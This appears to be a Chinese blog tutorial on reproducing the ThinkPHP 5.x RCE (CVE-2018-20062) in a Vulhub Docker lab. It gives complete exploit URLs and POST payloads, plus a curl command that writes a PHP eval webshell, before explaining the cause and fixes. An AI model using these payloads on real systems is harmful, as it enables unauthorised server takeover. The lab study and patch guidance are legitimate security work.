当前位置: 首页 > article >正文

从零开始复现 ThinkPHP RCE:Docker + Burp Suite 实战

目录1. 漏洞概述2. 环境搭建2.1 安装 Docker 与 Docker Compose2.2 部署 Vulhub 靶场2.3 启动环境3. 漏洞验证3.1 浏览器直接验证3.2 Burp Suite 抓包改包验证4. 深入利用——获取 Webshell4.1 写入一句话木马4.2 使用蚁剑连接5. 漏洞原理简析6. 修复建议7. 总结与收获免责声明此文章仅供学习参考严禁用于非法攻击。请确保你在拥有合法授权的环境中进行测试。1. 漏洞概述ThinkPHP 是一款流行的国产 PHP 框架。2018年12月ThinkPHP 5.x 系列被披露存在一个高危的远程代码执行漏洞CVE-2018-20062。该漏洞影响 ThinkPHP 5.0.x 版本低于 5.0.24和 5.1.x 版本低于 5.1.31CVSS 3.0 评分为 9.8严重。漏洞成因ThinkPHP 在处理请求时对控制器名称过滤不严攻击者可以通过精心构造的 URL 或 POST 参数调用框架内部的__construct方法进而覆盖类的属性如filter和server。最终在后续的输入处理中攻击者可利用array_walk_recursive回调机制执行任意系统命令。该漏洞利用简单无需认证影响范围广攻击者可以轻易获取服务器权限因此被公认为 ThinkPHP 历史上最经典的漏洞之一。2. 环境搭建本次复现使用一台 Ubuntu 服务器IP 为192.168.8.144通过 Docker 和 Vulhub 快速搭建靶场环境。2.1 安装 Docker 与 Docker ComposeDocker 是一个容器化平台可以快速部署隔离的应用环境Docker Compose 则用于定义和运行多容器应用。如果你还没有安装可以参考以下命令# 安装 Docker curl -fsSL https://get.docker.com | bash -s docker sudo systemctl start docker sudo systemctl enable docker # 安装 Docker Compose sudo curl -L https://github.com/docker/compose/releases/download/v2.23.0/docker-compose-$(uname -s)-$(uname -m) -o /usr/local/bin/docker-compose sudo chmod x /usr/local/bin/docker-compose2.2 部署 Vulhub 靶场Vulhub 是一个基于 Docker 的开源漏洞靶场集合集成了大量漏洞环境。克隆 Vulhub 仓库git clone https://github.com/vulhub/vulhub.git进入 ThinkPHP 漏洞目录cd vulhub/thinkphp/5.0.23-rce# 克隆 Vulhub 仓库 git clone https://github.com/vulhub/vulhub.git # 进入 ThinkPHP 5.0.23 RCE 漏洞目录 cd vulhub/thinkphp/5.0.23-rce2.3 启动环境执行以下命令启动容器第一次运行会自动拉取镜像可能需要几分钟docker-compose up -d容器启动后查看运行状态docker-compose ps现在在浏览器中访问http://192.168.8.144:8080如果看到 ThinkPHP 的欢迎页面说明环境搭建成功。3. 漏洞验证我们通过两种方式验证漏洞的存在浏览器直接访问和 Burp Suite 抓包改包。3.1 浏览器直接验证ThinkPHP 5.0.23 的漏洞利用 URL 中需要包含反斜杠\但在 URL 中反斜杠是特殊字符需要编码为%5c否则浏览器可能无法正确解析。因此我们提供两种形式的 URL推荐使用编码后的版本。编码后的利用 URLhttp://192.168.8.144:8080/index.php?sindex/think%5capp/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]whoami在浏览器地址栏输入上述 URL 并回车如果页面返回当前系统用户名如www-data则证明漏洞存在。3.2 Burp Suite 抓包改包验证Burp Suite 是一款强大的 Web 安全测试工具可以拦截、修改和重放 HTTP 请求。步骤1配置代理并拦截打开 Burp Suite进入Proxy → Options确认监听地址为127.0.0.1:8080。配置浏览器代理指向 Burp例如在 Chrome 中设置代理为127.0.0.1:8080。在 Burp 的Proxy → Intercept中确保Intercept is on。在浏览器中访问http://192.168.8.144:8080/index.php?scaptcha此时 Burp 会拦截到原始的 GET 请求。步骤2修改请求包我们需要将 GET 请求改为 POST并添加恶意 payload。修改后的请求如下POST /index.php?scaptcha HTTP/1.1 Host: 192.168.8.144:8080 Content-Type: application/x-www-form-urlencoded Content-Length: 60 _method__constructfilter[]systemmethodgetserver[REQUEST_METHOD]whoami4. 深入利用——获取 Webshell为了持久化控制我们可以写入一个简单的一句话木马然后用蚁剑连接。4.1 写入一句话木马在 POST 请求中将whoami替换为写入文件的命令。由于命令中包含单引号和特殊字符直接拼接容易出错我们采用 base64 编码的方式避免引号问题。首先生成一句话木马的 base64 编码echo -n ?php eval($_POST[cmd]); ? | base64输出结果为PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg。然后构造写入命令注意目标路径为/var/www/public这是通过之前pwd确认的curl -X POST http://192.168.8.144:8080/index.php?scaptcha \ -H Content-Type: application/x-www-form-urlencoded \ -d _method__constructfilter[]systemmethodgetserver[REQUEST_METHOD]echo PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg | base64 -d /var/www/public/shell.php验证文件是否写入成功curl http://192.168.8.144:8080/shell.php4.2 使用蚁剑连接蚁剑AntSword是一款开源的跨平台网站管理工具支持多种编码器和插件。打开蚁剑在左侧空白处右键选择「添加数据」。填写以下信息URL 地址http://192.168.8.144:8080/shell.php连接密码cmd编码器选择default其他选项保持默认。点击「测试连接」如果提示「连接成功」则点击「添加」保存。保存后双击新加的 shell 节点即可进入文件管理界面看到网站目录结构并可在虚拟终端中执行命令。至此我们不仅验证了漏洞还获得了服务器的实际控制权。5. 漏洞原理简析该漏洞的核心在于 ThinkPHP 5 的Request类对_method参数的处理。在method方法中如果 POST 参数中存在配置项var_method默认值为_method则调用$this-{$this-method}($_POST)。攻击者传入_method__construct后会触发__construct方法。而__construct方法允许通过传入的数组覆盖类的任意属性如filter和serverpublic function __construct($options []) { foreach ($options as $name $item) { if (property_exists($this, $name)) { $this-$name $item; } } }攻击者可以将filter设置为system将server设置为要执行的命令。后续在input方法中框架会对输入值使用filter中的函数进行过滤通过array_walk_recursive从而导致任意函数执行。官方修复方式是在获取控制器名后增加正则校验防止调用内部方法。6. 修复建议升级版本立即将 ThinkPHP 升级到 5.0.24 或 5.1.31官方已修复此漏洞。开启强制路由在应用配置中开启强制路由模式避免直接通过 URL 调用控制器。部署 WAF使用 Web 应用防火墙拦截恶意参数如_method__construct、filter[]等。限制文件写入权限降低 Web 目录的写入权限防止攻击者上传 webshell。

相关文章:

从零开始复现 ThinkPHP RCE:Docker + Burp Suite 实战

目录 1. 漏洞概述 2. 环境搭建 2.1 安装 Docker 与 Docker Compose 2.2 部署 Vulhub 靶场 2.3 启动环境 3. 漏洞验证 3.1 浏览器直接验证 3.2 Burp Suite 抓包改包验证 4. 深入利用——获取 Webshell 4.1 写入一句话木马 4.2 使用蚁剑连接 5. 漏洞原理简析 6. 修复…...

RK3568之pinctrl子系统和GPIO子系统

第1章 两个子系统的区别与联系1.1 pinctrl子系统主要功能:引脚复用(pin multiplexing)和引脚配置(pin configuration)。引脚复用:一个物理引脚可能有多个功能,例如可以是GPIO、串口TX、I2C SCL等…...

2026京东校招全攻略:笔试面试、高频题、看这一篇就够了

2026京东校招全攻略:笔试面试、高频题、看这一篇就够了 数据来源:真实面经整理 京东校招公开信息交叉校验 | 更新时间:2026年3月 校招大礼包获取 获取方法 京东后端面试里,一个很有代表性的问题是: Redis 分布式锁&a…...

IDM抓取网页动态资源:从嗅探原理到实战捕获全攻略

# IDM抓取网页动态资源:从嗅探原理到实战捕获全攻略## 引言在当今Web 2.0时代,绝大多数网站采用AJAX、动态加载、流媒体等技术呈现内容。传统的“右键另存为”已无法捕获这些**动态资源**——视频被切分为ts片段、图片通过XHR接口加载、数据以JSON格式传…...

网工必看!一文搞定华为高可用组网实战:VRRP + BFD + NQA 联动深度解析

摘要:本文以一个企业园区网综合实验为核心,完整呈现从拓扑规划到逐条命令配置的全过程。实验涵盖 VRRP 双网关冗余、BFD 快速故障检测、NQA 链路质量探测、静态路由与浮动路由等多项企业级高可用技术。文章详细讲解每一条命令的含义与作用,适合备考 HCIA/HCIP 的同学、网络运…...

ESP32硬件检测程序

ESP32硬件检测程序 提示:这里可以添加系列文章的所有文章的目录,目录需要自己手动添加 例如:第一章 Python 机器学习入门之pandas的使用 提示:写完文章后,目录可以自动生成,如何生成可参考右边的帮助文档 文…...

走出文安婚介所的计算与失落:在那次免费的重逢里,我读懂了平凡生活的底层逻辑

我叫陆远,是一名长期伏案、与各种底层代码和复杂算法打交道的软件开发工程师。三十岁之前,我的生活一直是以一种近乎线性的逻辑在运行:在上海的一家互联网大厂卷了六年,攒下了一些存款,也透支了大部分的睡眠。两年前&a…...

把AI装进微信?OpenClaw实现多平台AI助手实战

把AI装进微信?OpenClaw实现多平台AI助手实战 前言 你是否曾想过:在微信上直接和AI对话,让它帮你写代码、解答问题、甚至管理日程?之前这种需求只能通过各种不稳定的第三方机器人实现,直到我发现了OpenClaw——一个开…...

SolidWorks 拉伸凸台 - 命令属性 - 薄壁特征

示例 6-8-2、拉伸切除 - 薄壁特征开放草图新建一个文件;前视基准面;画一个开放的草图;给这个轮廓,使用 拉伸凸台命令,它也会拉伸;默认会开启薄壁特征;单向,10mm,意思是将…...

基于五类数据集的Faster RCNN目标检测算法在缺陷检测中的应用:共计1800张VOC格式...

基于FasterRCNN目标检测的缺陷检测算法 数据集包含五类别(具体如图所示) 共计1800张图 包含VOC格式数据集Faster RCNN模型最近在搞工业质检项目,发现Faster R-CNN在缺陷检测上还挺能打。手头有个五类缺陷的数据集(划痕、气泡、氧化…...

2026年沈阳路灯厂TOP10榜单揭晓,哪家实力最强?

大家好,今天给大家带来一个热门话题:2026年沈阳路灯厂TOP10榜单揭晓!哪家实力最强?让我们一起来看看吧!榜单揭晓1. 沈阳晟光户外照明设施销售有限公司(简称:晟光路灯)2. 飞利浦照明3…...

人工智能代理AI Agent如何自动化CRM、Jira、计费和Slack之间的工作流程

当单一业务流程跨越多个系统时 在泰山老父公司中,工作流程早已超越单一系统。销售在CRM中进行,开发在Jira中,财务在计费系统中,日常沟通则在Slack中完成。这些平台各有其用途,且在独立时运行得相当有效。 当单个业务…...

【前端】最好用的本地组件库调试工具 yalc

在开发和编写多个软件包(私有或公共)时,您经常需要在本地环境中的其他项目中使用最新/正在开发的版本,而无需将这些软件包发布到远程注册表。NPM和 Yarn 通过类似的符号链接包方法来解决这个问题。虽然这种方法在很多情况下都有效…...

目标函数(含罚函数处理)

蜣螂优化(DBO)算法 工程实际,求目标函数最小值,图中所求例子为一个压力容器设计成本最小,为4变量,4个不等式约束。 采用罚函数将4约束问题转变为无约束问题。 代码注释完整,非常容易带入自己想要求的问题。深夜撸代码发…...

【OpenCV 图像变换实战:旋转、模板匹配与金字塔操作】

在计算机视觉领域,图像变换是最基础也最核心的操作之一。无论是简单的图像旋转、精准的模板匹配,还是用于图像分层处理的金字塔操作,都是实现图像增强、目标检测、图像重建的关键技术。本文将结合实战代码,系统讲解 OpenCV 中这三…...

C语言介绍:起源、特性、应用领域及如何为学其他语言打基础

C语言(C Language) 发音(Pronunciation):C yǔyn 大致意思(General Meaning):C语言是一种普遍使用的高级程序设计语言,在软件研发以及系统编程方面有着广泛运用。 详细阐…...

C语言:通用高级编程语言,现代编程语言母语及应用领域介绍

C语言,是一种被称作通用的、高级的编程语言,它是在1972年,由美国贝尔实验室的Dennis Ritchie进行开发的。C语言具备简洁、高效以及可移植的特性,在系统软件、嵌入式系统和应用程序开发当中被广泛应用。 现代编程语言的母语 有这样…...

cmu15445 25fall lec3个人笔记

lec3 database storage从应用层面转到构建层面query-planning->operator execution->access method->buffer pool manager->disk manageragendafile storage,page layout,tuple layout 行(row)为主存储顺序io(sequencial)耗时少于随机io(random access) 所以在DBMS…...

API 安全: 保护 AI 应用的交互接口

API 安全: 保护 AI 应用的交互接口你好,我是陈涉川,欢迎你来到我的专栏。在前面的章节中,我们刚刚结束了模型微调的炼狱,成功让大模型记住了企业的安全基线,并掌握了复杂的代理(Agent&#xff0…...

企业用智能体要投入多少成本?2026避坑指南与主流产品横评

2026年3月,AI Agent 正处于从“生成式问答”向“自主执行”跨越的爆发期。 企业在考虑企业用智能体要投入多少成本时,绝不能只看一张软件报价单。 真正的成本是由算力消耗、Token思维税、隐性维保、人力溢价构成的综合体系。 作为深耕自动化领域7年的评测…...

【AI智能体】——OpenClaw(龙虾)深度研究分享(五)clawhub: command not found 全网最稳解决方案

🦞 OpenClaw 终极排坑:clawhub: command not found 全网最稳解决方案 (Windows / Mac / Linux 全平台通用・保姆级)🔥 前言 最近 OpenClaw(小龙虾)真的火炸了! 但 80% 的人刚装上就卡…...

当LSTM遇上注意力:手把手教你玩转时序预测

Attention-LSTM时序预测,单输入单输出 基于注意力机制attention结合长短期记忆网络LSTM时间序列预测, 单输入单输出模型 MATLAB版本为2020b及其以上 中文注释清晰,非常适合科研小白 评价指标包括:R2、MAE、MSE、RMSE等时序预测总让人头疼&…...

拒绝加班!这套一键生成建筑模型的方法,让甲方当场傻眼

一、概述 在智慧城市建设、城市规划设计、游戏场景搭建以及数字孪生应用等领域,三维建筑模型的构建始终是基础且关键的一环。传统建模方式依赖人工描图、手动拉伸,不仅耗时耗力,而且难以保证数据的现势性与准确性。尤其是面对大范围城市级别…...

【实时Linux工业PLC解决方案系列】第三十六篇 - 实时Linux PLC定时器高精度控制

一、简介:为什么高精度定时器是工业PLC的"心脏"?在工业自动化领域,PLC(可编程逻辑控制器)的定时精度直接决定了控制系统的响应速度和稳定性。传统PLC依赖专用硬件实现毫秒级定时,而现代实时Linux…...

【嵌入式】RCC-复位与时钟控制模块及实例

基于 HAL 库工程,RCC 就是: Reset and Clock Control 中文一般叫: 复位与时钟控制模块 你可以先把它朴素理解成: RCC 是专门管“时钟”和“复位”的那个硬件模块。 一、它到底是干什么的 RCC 主要负责两大类事情&#xff1a…...

二维数组的应用:矩阵运算与图像处理

在编程世界里,二维数组是一种基础却又强大的数据结构,它就像是一张二维的网格,能精准存储和处理具有行列关系的数据。其中,矩阵运算与图像处理是它发挥价值的两大典型场景,今天我们就来深入拆解这两个应用方向。&#…...

OpenClaw 能不能赚钱?

最近一段时间,OpenClaw 在技术圈和副业圈同时火了。 有人说: 可以自动运营账号可以自动写文章可以自动接单可以当 AI 打工人 甚至已经出现: 帮人部署 OpenClaw 收费 我自己折腾了一周,做了一些简单测试,结论比想象中冷…...

GEO完整链路操作指引

一、先理解GEO的底层逻辑是什么相对浅层的认知里:让品牌出现在AI的回答中,让AI"看见"你、提到你、推荐你,这件事就做完了真正的决策过程,往往是从一个模糊问题开始,经过多轮追问、反复比较、风险确认、条件筛选&#xf…...

在线进行 Base64 文本编解码及图片转换 —— 开发调试实践指南

在日常开发中,Base64 编码是一种非常常见的数据处理方式。很多接口传输、图片嵌入、配置文件或日志数据中,都可能看到类似 SGVsbG8gd29ybGQ 这样的字符串,这其实就是 Base64 编码后的内容。 很多开发者在调试接口、处理图片数据或分析日志时…...

openclaw飞书机器人权限管理

为了确保 OpenClaw 既能顺畅运行,又不至于因权限过大导致安全隐患,建议在飞书开发者后台 - 权限管理中,按照以下清单进行勾选。 这份清单分为基础必备和进阶功能两部分: 基础必备权限(无论个人还是团队,必须…...